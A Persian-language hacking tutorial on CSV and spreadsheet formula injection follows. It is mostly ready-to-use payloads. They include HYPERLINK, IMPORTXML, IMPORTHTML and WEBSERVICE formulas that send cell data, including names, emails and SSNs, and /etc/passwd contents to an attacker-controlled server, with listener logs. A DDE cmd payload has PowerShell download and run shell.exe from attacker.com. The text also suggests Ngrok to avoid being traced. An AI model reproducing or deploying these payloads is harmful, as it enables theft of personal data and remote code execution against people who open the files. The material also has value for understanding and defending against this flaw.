CSV Injection

https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection

خب اول از همه کمی با فرمول های اکسل اشنا بشیم که چطور میشه که میتوان برای این برنامه فرمولی رو نوشت برای مثال به فرض کنید 2تا خونه داریم در ستون A در فیلد اول ستون عدد 5 و در فیلد دوم ستون عدد 6 قرار داره و باز در ادامه ما با یک فرمول مقادیر این دو خونه رو جمع میزنیم

_|__A___|
1|_____5|
2|_____6|
3|=A1+A2|

خب در فرمول بالا میبینید که دو مقدار خونه 1 و 2 چطور در خونه 3 جمع زده شده اند حالا میبایست این سوال رو کنیم که چطور این فرمول ها میتوانند خطرناک باشند؟ جواب اینه که ما در موضوع فرمول نویسی میتونیم از توابع خطرناکی استفاده کنیم برای مثال عملکرد HYPERLINK, همونطور که میدونید به محض باز شدن فایل CSV اولین پارامترهایی که پردازش میشوند همین فرمول ها هستند بنابراین زمانی که ما مثلا از HYPERLINK استفاده میکنیم و به واسطه اون اشاراه میکنیم به یک وبسایت که میتواند دامنه یک هکر نیز باشد در اصل راهی برای سوءاستفاده از فایل فرمت CSV پیدا کردیم,فرمول ذکر شده رو در زیر مشاهده کنید

=HYPERLINK(“https://www.google.com”,”Google”)

حالا به ساختار ستون دقت کنید

__|______A______|______B_______|______C______|_________D_________|
1|Customer Name|Product Amount|Delivery Date|Product Description|
2|Alpha________|______40000000|20/12/2019___|**Google**_____________|
3|Tom__________|_______3000000|30/12/1019___|Audi_______________|
4|Harray_______|_______2000000|12/12/2019___|Suzuki_____________|

سلول اول ستون D کلمه Google بصورت لینک در آمده است با فرمولی که برای اون خونه در بالا نوشتیم اکی حالا ما میتونیم با استفاده از قابلیت DDE (Exchange Data Dynamic Data) کدی رو اجرا کنیم دقت کنید

cmd | ‘ / C notepad ‘!’ A1 ‘

بله فرمول بالا میتونه به واسطه cmd اجرای برنامه notepad, اکی پس با استفاده از قابلیت DDE به خط فرمان دسترسی پیدا میکنیم حالا میبایست بر اساس اطلاعاتی که از عملکرد فرمول ها بدست آوردیم یک پایلودی رو برای تزیق به فیلد آسیب پذیری نوشته و تست کنیم

=HYPERLINK(“http://192.168.1.3?leak=”&B2&B3&C2&C3,”More Details”)

در پایلود بالا مثلا ما اومدیم گفتیم که ستون های B2,B3 و C2,C3 رو برای ما هایپرلینک به فلان آدرس کن که آدرس داده شده آدرس آی پی هکر هستش , با انجام اینکار داده های ستون های مورد نظر رو با استفاده از یک پایتون سرور میتوان گرفت

Open terminal
root@unk9vvn:~# python SimpleHTTPServer -m
Serving HTTP on 0.0.0.0 port 8000 …

خب حالا اگر پایلود زیر رو ارسال کنید داده ها به وبسرور پایتون ارسال خواهد شد

=HYPERLINK(“http://192.168.1.3:8000?leak=”&B2&B3&C2&C3,”More Details”)

این یکجور کلک زدن به عملکر HYPERLINK هستش

192.168.1.5 – – [24/Jun/2019 02:46:15] “GET /?leak=Tom / HTTP/1.1” 200 183 “.” “Microsoft Office Excel 2013”

خب حالا اگر بخواهیم به همین روش پایلودی رو به اجرا در بیاریم چیکار کنیم؟! به پایلود زیر دقت کنید

=cmd|’ /C powershell Invoke-WebRequest “http://www.attacker.com/shell.exe” -OutFile “$env:Temp\shell.exe”; Start-Process “$env:Temp\shell.exe”‘!A1

با استفاده از خط فرمان cmd میتونیم به پارشل OOB زده و با استفاده از پاورشل پایلود Stager رو دانلود و به اجرا در بیاوریم,خب مبحث CSV Injection تموم شد حالا میریم سراغ Formula Injection

یکی فرق بین این دو نوع تزریق در چگونگی پایلود ریزی اون ها هست مثلا CSV Injection میتونه بصورت مستقیم اما در Formula Injection شما بصورت مستقیم ارتباطی با فیلدی که مامور ارسال داده های خودش به یک پایگاه داده از نوع Excel باشه بلکه در این نوع آسیب پذیری حمله از بستر Uploader هایی صورت میگیره که مختص فایل فرمت CSV هستند یعنی ما یک فایل CSV رو پایلود ریزی میکنیم و اون رو در قسمت مربوطه آپلود میکنیم به محض باز کردن فایل چه توسط ادمین سایت چه توسط کتابخانه های مربوطه فرمول ما اجرا شده و کاری که ما خواستیم رو انجام خواهد داد, خب ما برخی دیگر از توابع و ایتم هایی که در Google Sheets ها استفاده میشه رو تشریح میکنیم

=CONCATENATE(A2:E2)
رشته های سلول هارا به هم وصل میکند

=IMPORTXML(CONCAT(“http://[remote IP:Port]/123.txt?v=”, CONCATENATE(A2:E2)), “//a/a10”)
مقادیر دریافتی از RSS یا ATOM فیلد هارا دریافت و وارد برنامه میکند

=IMPORTHTML (CONCAT(“http://[remote IP:Port]/123.txt?v=”, CONCATENATE(A2:E2)),”table”,1)
وارد کردن داده ها از یک جدول و یا لیست در یک صفحه HTML.

=IMPORTRANGE(“https://docs.google.com/spreadsheets/d/[Sheet_Id]”, “sheet1!A2:E2”)
وارد کردن طیف وسیعی از سلول ها از یک صفحه گسترده مشخص شده.
=IMAGE(“https://[remote IP:Port]/images/srpr/logo3w.png”)
یک تصویر را به یک سلول وارد میکند

خب حالا اگر بخواهیم یک Data Sheet بسازیم که در یک فایل فرمت CSV جای پیدا کند و پایلودی رو با خودش به همراه داشته باشه چطور باید از Syntax مربوطه استفاده کنیم?

یک فایل csv مخرب با یک PAYLOAD (فرمول) ایجاد کردیم، که داده ها را از ستون های A تا D ترکیب می کند. سپس یک درخواست بیرون از سرور برای سرور مهاجم ما با آن جزئیات ایجاد می کنیم.

=IMPORTHTML (CONCAT(“”http://NoIP/123.txt?v=””, CONCATENATE(A:D)), “table”, 1)”

سپس فایل CSV را به Google Sheets با استفاده از قابلیت Import وارد کردیم و داده ها را به صفحه موجود اضافه کردیم, (دقت داشته باشید موقع Import در Google Sheets گزینه Append to current sheet رو انتخاب کنید)

پس از وارد کردن اطلاعات، Payload ما وارد شد و ما اطلاعاتی از کاربران مانند نام، ایمیل و SSN داده ها را در یک سرور HTTP گوش دادن به سرور حمله ما دریافت کردیم. طبق معمول برای دریافت اطلاعات از وبسرور Python استفاده کردیم

root@unk9vvn:~# python SimpleHTTPServer -m
Serving HTTP on 0.0.0.0 port 8000 …
192.168.1.9 – – [23/May/2019 09:53:13] “GET /123.txt?v=TimestampNameEmailSSN/UNIQ_ID43242.9518287037Ajayemail@gmail.com”

بصورت بالا داده ها دریافت خواهد شد, خب تا اینجای کار طریقه سوءاستفاده از سیستم عامل های ویندوز و استخراج داده از خود برنامه رو تشریح کردیم یک نمونه از پایلود های حمله به سیستم عامل های لینوکس هم تشریح کنیم بد نیست, خب سناریو حمله به سیستم های لینوکسی میتونه با خوندن فایل etc/passwd انجام بشه یک نمونه از این پایلود رو ببینیم

=’file:///etc/passwd’#$passwd.A1

اما چطور داده های خوانده شده فایل passwd رو به یک وبسرور ارسال کنیم

=WEBSERVICE(CONCATENATE(“http://:8080/”,(‘file:///etc/passwd’#$passwd.A1)))

با استفاده از تابع WEBSERVICE مثل پایلود بالا میتوان اینکار رو انجام داد طبق معمول داده ها رو به وبسرور Python انتقاال بدیم, برای ردیابی نشدن هم میتونید از DNS های موفت Ngrok استفاده کنید,

https://www.owasp.org/index.php/CSV_Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection
https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection